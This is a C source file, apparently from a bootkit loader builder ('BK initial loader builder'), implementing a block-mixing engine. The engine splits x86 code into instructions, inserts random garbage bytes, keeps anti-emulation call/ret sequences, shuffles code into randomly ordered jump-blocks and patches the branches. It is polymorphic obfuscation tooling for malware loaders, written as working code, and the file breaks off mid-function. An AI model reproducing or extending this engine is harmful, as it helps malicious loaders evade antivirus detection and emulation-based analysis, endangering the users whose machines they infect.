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bme.c
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//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// BK initial loader builder. Version 2.9.2
//
// module: bme.c
// $Revision: 39 $
// $Date: 2012-05-02 15:38:09 +0400 (Ср, 02 май 2012) $
// description:
// Block-mixing engine implementation.
#include "main.h"
#include "bme.h"
#include "instance.h"
//---- Predefinitions -----------------------------------------------------------------------------------------------------
extern ULONG __stdcall GetInstructionLen(const PCHAR buf);
ULONG g_BmeFlags = 0;
extern CODE_BLOCK g_code_blocks;
// ---- Growing buffer -------------------------------------------------------------------------------------------------------
BOOL GbAlloc(
PGROW_BUFFER Grow,
ULONG Size
)
{
BOOL Ret = FALSE;
if (Grow->Buffer = (PCHAR)Alloc(Size))
{
Grow->End = Grow->Buffer + Size;
Grow->Pos = Grow->Buffer;
Grow->Increment = Size;
Grow->Size = Size;
Ret = TRUE;
}
return(Ret);
}
VOID GbFree(
PGROW_BUFFER Grow
)
{
ASSERT(Grow->Buffer);
ASSERT(Grow->End > Grow->Buffer);
ASSERT(Grow->Pos < Grow->End && Grow->Pos >= Grow->Buffer);
Free(Grow->Buffer);
#if DEBUG
Grow->Pos = 0;
Grow->Size = 0;
Grow->End = 0;
#endif
}
BOOL GbCheckResize(
PGROW_BUFFER Grow,
ULONG Addon
)
{
BOOL Ret = FALSE;
ULONG Increment = 0;
ULONG Offset = 0;
ASSERT(Grow->Buffer);
ASSERT(Grow->End > Grow->Buffer);
ASSERT(Grow->Pos < Grow->End && Grow->Pos >= Grow->Buffer);
if ((Grow->Pos + Addon) < Grow->End)
return(TRUE);
while (Increment < Addon)
Increment += Grow->Increment;
Increment += Grow->Size;
Offset = (ULONG)(Grow->Pos - Grow->Buffer);
if (Grow->Buffer = (PCHAR)Realloc(Grow->Buffer, Increment))
{
Grow->Pos = Grow->Buffer + Offset;
Grow->Size = Increment;
Grow->End = Grow->Buffer + Increment;
Ret = TRUE;
}
return(Ret);
}
VOID GbAppend(
PGROW_BUFFER Grow,
PVOID Buffer,
ULONG Size
)
{
ASSERT(Grow->Buffer);
ASSERT(Grow->End > Grow->Buffer);
ASSERT(Grow->Pos < Grow->End && Grow->Pos >= Grow->Buffer);
if (Size)
{
memcpy(Grow->Pos, (PCHAR)Buffer, Size);
Grow->Pos += Size;
}
ASSERT(Grow->Pos < Grow->End && Grow->Pos >= Grow->Buffer);
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Fills the char array of MapSize bytes with random numbers starting from MapIndex.
//
static VOID GenerateBlockMap(
PUCHAR IndexMap, // memory buffer for map
ULONG MapIndex, // lowest index in map, should be >0
ULONG MapSize // size of the buffer in bytes
)
{
ULONG i = 0;
ASSERT(MapSize < MAX_BLOCKS);
ASSERT(MapIndex > 0);
memset(IndexMap, 0, MapSize);
while (i<MapSize)
{
ULONG Index = (rand() % MapSize);
if (IndexMap[Index] == 0)
{
IndexMap[Index] = (UCHAR)(i + MapIndex);
i+=1;
}
}
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Releases the specified block descriptor, previously allocated by AllocateBlock function.
//
static VOID ReleaseBlock(
PBLOCK_DESCRIPTOR BlockDesc
)
{
ASSERT(IsListEmpty(&BlockDesc->ConstListHead));
BlockDesc->Binary = (PCHAR)&BlockDesc->Data;
BlockDesc->Size = 0;
BlockDesc->Index = MAX_BLOCKS;
BlockDesc->Entry = 0;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Allcoates and initializes new block descriptor.
//
static PBLOCK_DESCRIPTOR AllocateBlock(VOID)
{
PBLOCK_DESCRIPTOR BlockDesc = (PBLOCK_DESCRIPTOR)Alloc(sizeof(BLOCK_DESCRIPTOR));
if (BlockDesc)
{
memset(BlockDesc, 0, sizeof(BLOCK_DESCRIPTOR));
InitializeListHead(&BlockDesc->ConstListHead);
InitializeListHead(&BlockDesc->InstrListHead);
InitializeListHead(&BlockDesc->JmpBlockListHead);
InitializeListHead(&BlockDesc->CRefListHead);
BlockDesc->Binary = (PCHAR)&BlockDesc->Data;
}
return(BlockDesc);
}
static VOID FreeBlock(PBLOCK_DESCRIPTOR BlockDesc)
{
ASSERT(IsListEmpty(&BlockDesc->ConstListHead));
ASSERT(IsListEmpty(&BlockDesc->CRefListHead));
ASSERT(IsListEmpty(&BlockDesc->InstrListHead));
ASSERT(IsListEmpty(&BlockDesc->JmpBlockListHead));
Free(BlockDesc);
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Checks if the specified "call block" instruction should be ignored for the specified block.
// If so, - removes the instruction.
//
static BOOL CheckIgnoreBlock(PBLOCK_DESCRIPTOR BlockDesc, PCHAR Instruction)
{
BOOL Ret = FALSE;
PCODE_BLOCK DestBlock;
UCHAR BlockIndex = *(PUCHAR)(Instruction + 2);
ASSERT(BlockIndex <= MAX_BLOCKS);
DestBlock = &BlockDesc->BlockTable[BlockIndex];
ASSERT(DestBlock->Offset);
ASSERT(DestBlock->Size);
if (BlockDesc->Flags & DestBlock->Flags & BF_TYPE_MASK)
{
// Block of this type should be ignored.
Ret = TRUE;
}
return(Ret);
}
static PINSTRUCTION AllocInstruction(VOID)
{
PINSTRUCTION Instr = (PINSTRUCTION)Alloc(sizeof(INSTRUCTION));
if (Instr)
{
memset(Instr, 0, sizeof(INSTRUCTION));
InitializeListHead(&Instr->Entry);
Instr->Magic = INSTRUCTION_MAGIC;
}
return(Instr);
}
static VOID ReleaseInstruction(PINSTRUCTION Instr)
{
ASSERT_INSTRUCTION(Instr);
Free(Instr);
}
static PJMP_BLOCK AllocateJmpBlock(VOID)
{
PJMP_BLOCK JmpBlock = (PJMP_BLOCK)Alloc(sizeof(JMP_BLOCK));
if (JmpBlock)
{
memset(JmpBlock, 0, sizeof(JMP_BLOCK));
InitializeListHead(&JmpBlock->Entry);
InitializeListHead(&JmpBlock->InstrListHead);
}
return(JmpBlock);
}
static VOID ReleaseJmpBlock(PJMP_BLOCK JmpBlock)
{
Free(JmpBlock);
}
static ULONG GetRefOffset(ULONG Offset, ULONG Size, LONG Delta)
{
LONG RefOffs = (LONG)(Offset+Size);
// ASSERT(Delta != 0);
RefOffs += Delta;
return(RefOffs);
}
#define IsCode16() (BlockDesc->Flags & BF_CODE16)
static ULONG Code16Size(PCHAR Instruction, ULONG Size)
{
UCHAR Prefix = 0;
USHORT OpWord; // two bytes opcode
UCHAR OpByte0, OpByte1; // one byte opcode
Prefix = *(UCHAR*)(Instruction);
if (Prefix == 0x26)
{
Instruction += 1;
Size -= 1;
}
else
Prefix = 0;
OpWord = *(USHORT*)(Instruction);
OpByte0 = *(UCHAR*)(Instruction);
OpByte1 = *(UCHAR*)(Instruction + 1);
switch(OpWord)
{
case OP_MOV_AX_WORD_PTR:
Size = 2;
break;
case OP_MOV_BYTE_PTR_16:
Size = 5;
break;
case OP_MOV_WORD_PTR_16:
Size = 6;
break;
default:
if (Size > 4)
{
if (OpByte0 == ADDRESS_SIZE_PREFIX)
{
//__debugbreak();
}
else
Size -= 2;
}
break;
}
do
{
if ((OpWord & OP_PUSH_WORD_PTR) == OP_PUSH_WORD_PTR)
{
if (Size > 3)
Size = 3;
break;
}
if ((OpWord & OP_MOV_REG_WORD_PTR) == OP_MOV_REG_WORD_PTR)
{
if (Size > 3)
Size = 3;
break;
}
if ((OpByte0 == OP_MOV_PTR_REG || OpByte0 == OP_MOV_REG_PTR) && OpByte1 < 0x40)
{
Size = 2;
break;
}
} while (FALSE);
if (Prefix)
Size += 1;
return(Size);
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Splists specified code block to a list of instructions.
//
static VOID SplitInstructions(PBLOCK_DESCRIPTOR BlockDesc)
{
ULONG i, iSize;
ULONG cSize = 0; // Real block size in bytes
ULONG vSize = 0; // Virtual block size in bytes. Calculated by all instruction sizes, including changed and removed.
PINSTRUCTION Instr = NULL;
BlockDesc->InstructionCount = 0;
BlockDesc->FirstBranch = 0;
ASSERT(BlockDesc->sSize);
// Enumerating instructions
while (cSize < BlockDesc->sSize)
{
PCHAR Instruction = BlockDesc->Binary + cSize;
UCHAR OpByte = *(UCHAR*)(Instruction); // one byte opcode
USHORT OpWord = *(USHORT*)(Instruction); // two bytes opcode
if (Instr = AllocInstruction())
{
Instr->Offset = cSize;
Instr->vOffset = vSize;
Instr->Reference = INVALID_OFFSET;
iSize = GetInstructionLen(Instruction);
ASSERT(iSize <= MAX_INSTRUCTION_LEN);
ASSERT(cSize < MAX_BLOCK_SIZE);
if (IsCode16() && (iSize > 2))
iSize = Code16Size(Instruction, iSize);
// Checking instruction size
switch (iSize)
{
case 3:
if (!IsCode16())
break;
case 5:
if ((*(PULONG)(Instruction + 1) & COMMON_CHECK_MASK) == CONST_INDEX_CHECK)
{
// any 5-bytes mov, push, add or sub instruction that operates with constant value.
Instr->Type = INSTR_CONST_ACCESS;
Instr->OpcodeLen = 1;
break;
}
if ((*(PULONG)(Instruction + 1) & (~IMPORT_INDEX_MASK)) == IMPORT_INDEX_CHECK)
{
// any 5-bytes mov, push, add or sub instruction that operates with IAT entry address.
Instr->Type = INSTR_IMPORT_ACCESS;
Instr->OpcodeLen = 1;
break;
}
if (OpByte == OPCODE_JMP_NEAR || OpByte == OPCODE_CALL_NEAR)
{
// any 5-bytes call or jump
Instr->Type = INSTR_BRANCH_NEAR;
Instr->OpcodeLen = 1;
Instr->Reference = GetRefOffset(Instr->Offset, iSize, *(PUSHORT)(Instruction+1));
BlockDesc->BranchCount += 1;
if (BlockDesc->FirstBranch == 0)
BlockDesc->FirstBranch = BlockDesc->InstructionCount;
if (*(PUCHAR)(Instruction + iSize) == OP_RET_NEAR)
{
// call XXX/ret - antiemul instruction
Instr->BranchLen = (UCHAR)iSize;
iSize += 1;
}
}
break;
case 6:
//if (OpWord == OP_CALL_FAR)
if ((*(PULONG)(Instruction + 2) & (~IMPORT_INDEX_MASK)) == IMPORT_INDEX_CHECK)
{
// 6-bytes "call dword ptr []" instruction or any 6-bytes mov, push or pop instruction that operates
// with an IAT entry address.
Instr->Type = INSTR_IMPORT_CALL;
Instr->OpcodeLen = 2;
}
break;
case 2:
if (OpWord == OP_CALL_EBP)
{
// call ebp instruction. Call block.
// Check out if this call should be ignored for any reason.
if (CheckIgnoreBlock(BlockDesc, Instruction))
{
// Ignoring block
Instr->OpcodeLen = 1;
Instr->Flags = IF_NOCOPY;
Instr->BranchLen = 1;
Instr->TotalLen = 1;
Instr->Data[0] = OP_NOP;
}
else
{
if (BlockDesc->Flags & BF_NO_EBP)
{
// Changing 'call ebp' instruction with near call
Instr->Type = INSTR_CALL_BLOCK;
Instr->OpcodeLen = 1;
Instr->Flags = IF_NOCOPY;
Instr->Data[0] = OPCODE_CALL_NEAR;
Instr->Data[1] = *(CHAR*)(Instruction+2);
if (IsCode16())
Instr->TotalLen = 3;
else
Instr->TotalLen = 5;
}
else
{
// Normal call ebp
Instr->Type = INSTR_CALL_EBP;
Instr->OpcodeLen = 2;
if (*(PUCHAR)(Instruction + 3) == 0x90)
// nop after call ebp, used not to break next instruction
iSize += 1;
}
}
iSize += 1;
break;
} // if (OpWord == OP_CALL_EBP)
if ((OpByte & 0xf0) == OP_JMP_COND || (OpByte & 0xf4) == OP_JMP_SHORT)
{
// jz, jnz, jmp short etc...
Instr->Type = INSTR_JMP_SHORT;
Instr->OpcodeLen = 1;
Instr->Reference = GetRefOffset(Instr->Offset, 2, (LONG)*(CHAR*)(Instruction+1));
BlockDesc->BranchCount += 1;
if (BlockDesc->FirstBranch == 0)
BlockDesc->FirstBranch = BlockDesc->InstructionCount;
}
break;
case 1:
if (OpByte == OP_ICEBP)
{
// generate garbage
Instr->Type = INSTR_DB;
Instr->Flags = IF_NOCOPY;
i = (ULONG)*(UCHAR*)(Instruction+1);
if (i & 0x80)
i = (rand()%(i^0x80)) + 1;
iSize = i;
for (i=0; i<iSize; i++)
Instr->Data[i] = (UCHAR)(rand()%0x100);
Instr->OpcodeLen = (UCHAR)iSize;
BlockDesc->Size = BlockDesc->Size + iSize - 2;
break;
} // if (OpByte == OP_ICEBP)
if (OpByte == OP_SALC)
{
// "MOV al, BlockIndex" instruction
Instr->Type = INSTR_MOV_AL_INDEX;
Instr->Flags = IF_NOCOPY;
Instr->OpcodeLen = 1;
iSize += 1;
Instr->Data[0] = OP_MOV_CL_BYTE;
Instr->Data[1] = HIBYTE(OpWord);
} // if (OpByte == OP_SALC)
break;
};
ASSERT(iSize <= MAX_INSTRUCTION_LEN);
if (Instr->TotalLen == 0)
Instr->TotalLen = (UCHAR)iSize;
if (Instr->BranchLen == 0)
Instr->BranchLen = (UCHAR)iSize;
if (!(Instr->Flags & IF_NOCOPY))
memcpy(&Instr->Data, Instruction, iSize);
cSize += iSize;
vSize += Instr->TotalLen;
InsertTailList(&BlockDesc->InstrListHead, &Instr->Entry);
BlockDesc->InstructionCount += 1;
}
}
BlockDesc->Size = vSize;
}
static PJMP_BLOCK CreateJump(
ULONG cOffset // code offset of the block to jump
)
{
PJMP_BLOCK JmpBlock1 = NULL;
PINSTRUCTION Instr = NULL;
do // not a loop
{
if (!(JmpBlock1 = AllocateJmpBlock()))
break;
if (!(Instr = AllocInstruction()))
break;
Instr->Offset = INVALID_OFFSET;
Instr->OpcodeLen = 1;
Instr->Reference = cOffset;
Instr->TotalLen = 2;
Instr->BranchLen = 2;
Instr->Type = INSTR_JMP_SHORT;
Instr->Data[0] = OPCODE_JMP_SHORT;
InsertTailList(&JmpBlock1->InstrListHead, &Instr->Entry);
JmpBlock1->Count = 1; // single jump instruction
JmpBlock1->iOffset = INVALID_OFFSET;
JmpBlock1->Size = Instr->TotalLen;
return(JmpBlock1);
} while(FALSE);
if (Instr)
ReleaseInstruction(Instr);
if (JmpBlock1)
ReleaseJmpBlock(JmpBlock1);
return(NULL);
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Mixes jump-blocks
//
static VOID CreateJumpBlocks(
PBLOCK_DESCRIPTOR BlockDesc
)
{
LIST_ENTRY JmpBlockList;
PLIST_ENTRY pEntry;
ULONG rCount= 0, iCount = 0, bCount = 0, i, c, rOffset, cOffset = 0;
PJMP_BLOCK JmpBlock, JmpBlock1;
PINSTRUCTION Instr;
PCHAR IndexMap;
InitializeListHead(&JmpBlockList);
pEntry = BlockDesc->InstrListHead.Flink;
// Splitting code into few jump-blocks
iCount = BlockDesc->InstructionCount;
do {
/*
// First jump-block of a block with BF_ENTRY_AT_BEGIN should contain a brunch instruction.
if (bCount == 0 && (BlockDesc->Flags & BF_ENTRY_AT_BEGIN) && BlockDesc->FirstBranch)
{
rCount = BlockDesc->FirstBranch + 1;
// This is first jump-block and it must be at begin
if (rCount < JMP_BLOCK_MAX)
rCount = (rand()%(JMP_BLOCK_MAX - rCount)) + rCount;
}
else
*/
rCount = (rand()%(JMP_BLOCK_MAX - JMP_BLOCK_MIN)) + JMP_BLOCK_MIN;
if (!(BlockDesc->Flags & BF_JUMPS))
rCount = iCount;
if (rCount > iCount)
rCount = iCount;
iCount -= rCount;
ASSERT(!IsListEmpty(&BlockDesc->InstrListHead));
if (JmpBlock = AllocateJmpBlock())
{
Instr = CONTAINING_RECORD(pEntry, INSTRUCTION, Entry);
ASSERT(Instr->Offset < MAX_BLOCK_SIZE);
JmpBlock->iOffset = Instr->Offset;
JmpBlock->vOffset = Instr->vOffset;
bCount += 1;
for (i=0; i<rCount; i++)
{
ASSERT(pEntry != &BlockDesc->InstrListHead);
Instr = CONTAINING_RECORD(pEntry, INSTRUCTION, Entry);
pEntry = pEntry->Flink;
RemoveEntryList(&Instr->Entry);
BlockDesc->InstructionCount -= 1;
InitializeListHead(&Instr->Entry);
InsertTailList(&JmpBlock->InstrListHead, &Instr->Entry);
JmpBlock->Size += Instr->TotalLen;
JmpBlock->Count += 1;
}
if (pEntry != &BlockDesc->InstrListHead)
{
Instr = CONTAINING_RECORD(pEntry, INSTRUCTION, Entry);
JmpBlock->Next = Instr->Offset;
}
InsertTailList(&JmpBlockList, &JmpBlock->Entry);
}
} while(iCount);
// Mixing jump blocks
do // not a loop
{
ULONG Next = 0;
if (!(IndexMap = (PCHAR)Alloc(bCount)))
break;
// cOffset = 0; // code offset
rOffset = 0; // real block offset
if (BlockDesc->Flags & BF_ENTRY_AT_BEGIN)
{
IndexMap[0] = 1;
GenerateBlockMap(IndexMap+1, 2, bCount-1);
}
else
GenerateBlockMap(IndexMap, 1, bCount);
for (i = 0; i<bCount; i++)
{
rCount = IndexMap[i];
pEntry = JmpBlockList.Flink;
for (c = 1; c<rCount; c++)
{
pEntry = pEntry->Flink;
if (pEntry == &JmpBlockList)
pEntry = pEntry->Flink;
}
ASSERT(pEntry != &JmpBlockList);
JmpBlock = CONTAINING_RECORD(pEntry, JMP_BLOCK, Entry);
if (Next != 0 && JmpBlock->iOffset != Next) // && cOffset < BlockDesc->Size)
{
// This is not the next block, inserting jump
if (!(JmpBlock1 = CreateJump(Next)))
break;
JmpBlock1->rOffset = rOffset;
InsertTailList(&BlockDesc->JmpBlockListHead, &JmpBlock1->Entry);
rOffset += JmpBlock1->Size;
} // if (JmpBlock->Offset != cOffset)
// Link block to the list
RemoveEntryList(&JmpBlock->Entry);
InitializeListHead(&JmpBlock->Entry);
InsertTailList(&BlockDesc->JmpBlockListHead, &JmpBlock->Entry);
JmpBlock->rOffset = rOffset;
// cOffset = JmpBlock->iOffset + JmpBlock->Size;
ASSERT(cOffset <= BlockDesc->Size);
rOffset += JmpBlock->Size;
Next = JmpBlock->Next;
} // for (i = 0; i<bCount; i++)
if (Next)
{
// This is not the last block, instering jump to the last one
if (!(JmpBlock1 = CreateJump(Next)))
break;
JmpBlock1->rOffset = rOffset;
InsertTailList(&BlockDesc->JmpBlockListHead, &JmpBlock1->Entry);
rOffset += JmpBlock1->Size;
}
} while(FALSE);
if (IndexMap)
Free(IndexMap);
}
ULONG JmpBlockFind(PLIST_ENTRY JmpBlockList, ULONG Offset)
{
PLIST_ENTRY pEntry = JmpBlockList->Flink;
PINSTRUCTION Instr = NULL;
PJMP_BLOCK JmpBlock = NULL;
ULONG iOffset = INVALID_OFFSET;
while((Instr == NULL) && pEntry != JmpBlockList)
{
JmpBlock = CONTAINING_RECORD(pEntry, JMP_BLOCK, Entry);
if (JmpBlock->iOffset != INVALID_OFFSET && JmpBlock->iOffset <= Offset && (JmpBlock->iOffset + JmpBlock->Size) > Offset)
{
// Block containing offset found
PLIST_ENTRY iEntry = JmpBlock->InstrListHead.Flink;
while(iEntry != &JmpBlock->InstrListHead)
{
Instr = CONTAINING_RECORD(iEntry, INSTRUCTION, Entry);
if (Instr->Offset == Offset)
break;
Instr = NULL;
iEntry = iEntry->Flink;
}
}
pEntry = pEntry->Flink;
}
ASSERT(Instr);
ASSERT(JmpBlock);
if (JmpBlock)
iOffset = Instr->vOffset - JmpBlock->vOffset + JmpBlock->rOffset;
return(iOffset);
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Rebuilds specified branch instruction to brunch to the specified offset
//
static BOOL RebuildBranch(
PINSTRUCTION Instr,
LONG bOffset
)
{
BOOL Ret = TRUE;
ASSERT(Instr->OpcodeLen == 1);
switch(Instr->Type)
{
case INSTR_BRANCH_NEAR:
*(PLONG)(&Instr->Data[Instr->OpcodeLen]) = bOffset;
break;
case INSTR_JMP_SHORT:
if (bOffset < 128 && bOffset > -128)
// branch instruction not changed, it stays SHORT
Instr->Data[Instr->OpcodeLen] = (CHAR)bOffset;
else
{
// changing SHORT branch instrunction to NEAR one (or more)
// ASSERT(FALSE); // currently not supported
Ret = FALSE;
}
break;
default:
ASSERT(FALSE);
};
return(Ret);
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Processes list of jump-blocks linking instructions into single list
//
static BOOL ProcessJumpBlocks(
PBLOCK_DESCRIPTOR BlockDesc
)
{
ULONG cOffset = 0;
PLIST_ENTRY iEntry, bEntry = BlockDesc->JmpBlockListHead.Flink;
PJMP_BLOCK JmpBlock;
PINSTRUCTION Instr;
while(bEntry != &BlockDesc->JmpBlockListHead)
{
JmpBlock = CONTAINING_RECORD(bEntry, JMP_BLOCK, Entry);
iEntry = JmpBlock->InstrListHead.Flink;
while(iEntry != &JmpBlock->InstrListHead)
{
Instr = CONTAINING_RECORD(iEntry, INSTRUCTION, Entry);
if (Instr->Reference != INVALID_OFFSET)
{
ULONG iOffset = JmpBlockFind(&BlockDesc->JmpBlockListHead, Instr->Reference);
ULONG rOffset;
if (JmpBlock->iOffset != INVALID_OFFSET)
//rOffset = Instr->Offset - JmpBlock->iOffset + JmpBlock->rOffset;
rOffset = Instr->vOffset - JmpBlock->vOffset + JmpBlock->rOffset;
else
rOffset = JmpBlock->rOffset;
rOffset += Instr->BranchLen;
/*
#if _DEBUG
// we do not recalculate short jumps into near ones
if (rOffset > iOffset)
ASSERT(rOffset-iOffset < 0x80);
else
ASSERT(iOffset-rOffset < 0x80);
#endif
*/
rOffset = iOffset - rOffset;
if (!RebuildBranch(Instr, (LONG)rOffset))
return(FALSE);
}
iEntry = iEntry->Flink;
}
bEntry = bEntry->Flink;
}
return(TRUE);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Converts multiple jump-blocks into a list of single instructions.
//
static VOID JmpBlockToInstrList(
PBLOCK_DESCRIPTOR BlockDesc
)
{
PLIST_ENTRY iEntry, pEntry = BlockDesc->JmpBlockListHead.Flink;
ASSERT(IsListEmpty(&BlockDesc->InstrListHead));
ASSERT(BlockDesc->InstructionCount == 0);
while(pEntry != &BlockDesc->JmpBlockListHead)
{
PJMP_BLOCK JmpBlock = CONTAINING_RECORD(pEntry, JMP_BLOCK, Entry);
ULONG iOffset = JmpBlock->rOffset;
if (JmpBlock->iOffset == 0)
// The first block
BlockDesc->Entry = iOffset;
iEntry = JmpBlock->InstrListHead.Flink;
while(iEntry != &JmpBlock->InstrListHead)
{
PINSTRUCTION Instr = CONTAINING_RECORD(iEntry, INSTRUCTION, Entry);
ASSERT_INSTRUCTION(Instr);
iEntry = iEntry->Flink;
RemoveEntryList(&Instr->Entry);
Instr->Offset = iOffset;
iOffset += Instr->TotalLen;
InsertTailList(&BlockDesc->InstrListHead, &Instr->Entry);
JmpBlock->Count -= 1;
BlockDesc->InstructionCount += 1;
}
ASSERT(JmpBlock->Count == 0);
ASSERT(IsListEmpty(&JmpBlock->InstrListHead));
pEntry = pEntry->Flink;
RemoveEntryList(&JmpBlock->Entry);
ReleaseJmpBlock(JmpBlock);
}
ASSERT(IsListEmpty(&BlockDesc->JmpBlockListHead));
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Rebuilds the code block from the instruction list.
//
static ULONG RebuildBlock(
PBLOCK_DESCRIPTOR BlockDesc, // code block descriptor
PCHAR Buffer // buffer to place code
)
{
ULONG Index, iCount = 0;
PLIST_ENTRY pEntry = BlockDesc->InstrListHead.Flink;
PCHAR sBuffer = Buffer;
ASSERT(BlockDesc->InstructionCount != 0);
ASSERT(!IsListEmpty(&BlockDesc->InstrListHead));
while(pEntry != &BlockDesc->InstrListHead)
{
PINSTRUCTION Instr = CONTAINING_RECORD(pEntry, INSTRUCTION, Entry);
ASSERT_INSTRUCTION(Instr);
memcpy(Buffer, &Instr->Data, Instr->TotalLen);
switch (Instr->Type)
{
case INSTR_CONST_ACCESS:
// any 5-bytes mov, push, add or sub instruction that operates with constant value.
ASSERT((Instr->TotalLen == 5 || Instr->TotalLen == 3) && Instr->OpcodeLen == 1);
if (AllocateConstant(sBuffer, Buffer, &BlockDesc->ConstListHead, BlockDesc->Flags))
BlockDesc->ConstCount += 1;
break;
case INSTR_IMPORT_ACCESS:
// any 5-bytes mov, push, add or sub instruction that operates with IAT entry address.
ASSERT(Instr->TotalLen == 5 && Instr->OpcodeLen == 1);
break;
case INSTR_IMPORT_CALL:
// 6-bytes "call dword ptr []" instruction or any 6-bytes mov, push or pop instruction that operates
// with an IAT entry address.
ASSERT(Instr->TotalLen == 6 && Instr->OpcodeLen == 2);
break;
case INSTR_CALL_EBP:
// call ebp instruction. Call block.
// Check out if this call should be ignored for any reason.
ASSERT(Instr->TotalLen >= 3 && Instr->OpcodeLen == 2);
if (!CheckIgnoreBlock(BlockDesc, Buffer))
{
Index = (UCHAR)Instr->Data[2];
Buffer[Instr->OpcodeLen] = (CHAR)(BlockDesc->RndIndexMap[Index] - 1);
}
break;
case INSTR_CALL_BLOCK:
// near call to a block
ASSERT(BlockDesc->Flags & BF_NO_EBP);
ASSERT(IsCode16() || (Instr->TotalLen == 5 && Instr->OpcodeLen == 1));
Index = (UCHAR)Instr->Data[1];
Buffer[Instr->OpcodeLen] = (CHAR)(BlockDesc->RndIndexMap[Index] - 1);
if (AllocateCRef(sBuffer, Buffer, &BlockDesc->CRefListHead, BlockDesc->Flags))
BlockDesc->CRefCount += 1;
break;
case INSTR_MOV_AL_INDEX:
// MOV al,XX, where XX - block index
Index = (UCHAR)Instr->Data[1];
Buffer[Instr->OpcodeLen] = (CHAR)(BlockDesc->RndIndexMap[Index] - 1);
break;
}; // switch (Instr->Type)
if (!(BlockDesc->Flags & BF_VIRTUAL))
Buffer += Instr->TotalLen;
pEntry = pEntry->Flink;
RemoveEntryList(&Instr->Entry);
iCount += 1;
ReleaseInstruction(Instr);
}
ASSERT(iCount == BlockDesc->InstructionCount);
ASSERT(IsListEmpty(&BlockDesc->InstrListHead));
return((ULONG)(Buffer - sBuffer));
}
static VOID ResetJumpBlocks(
PBLOCK_DESCRIPTOR BlockDesc
)
{
PLIST_ENTRY iEntry, pEntry = BlockDesc->JmpBlockListHead.Flink;
ASSERT(IsListEmpty(&BlockDesc->InstrListHead));
ASSERT(BlockDesc->InstructionCount == 0);
while(pEntry != &BlockDesc->JmpBlockListHead)
{
PJMP_BLOCK JmpBlock = CONTAINING_RECORD(pEntry, JMP_BLOCK, Entry);
ULONG iOffset = JmpBlock->rOffset;
if (JmpBlock->iOffset == 0)
// The first block
BlockDesc->Entry = iOffset;
iEntry = JmpBlock->InstrListHead.Flink;
while(iEntry != &JmpBlock->InstrListHead)
{
PINSTRUCTION Instr = CONTAINING_RECORD(iEntry, INSTRUCTION, Entry);
ASSERT_INSTRUCTION(Instr);
iEntry = iEntry->Flink;
RemoveEntryList(&Instr->Entry);
ReleaseInstruction(Instr);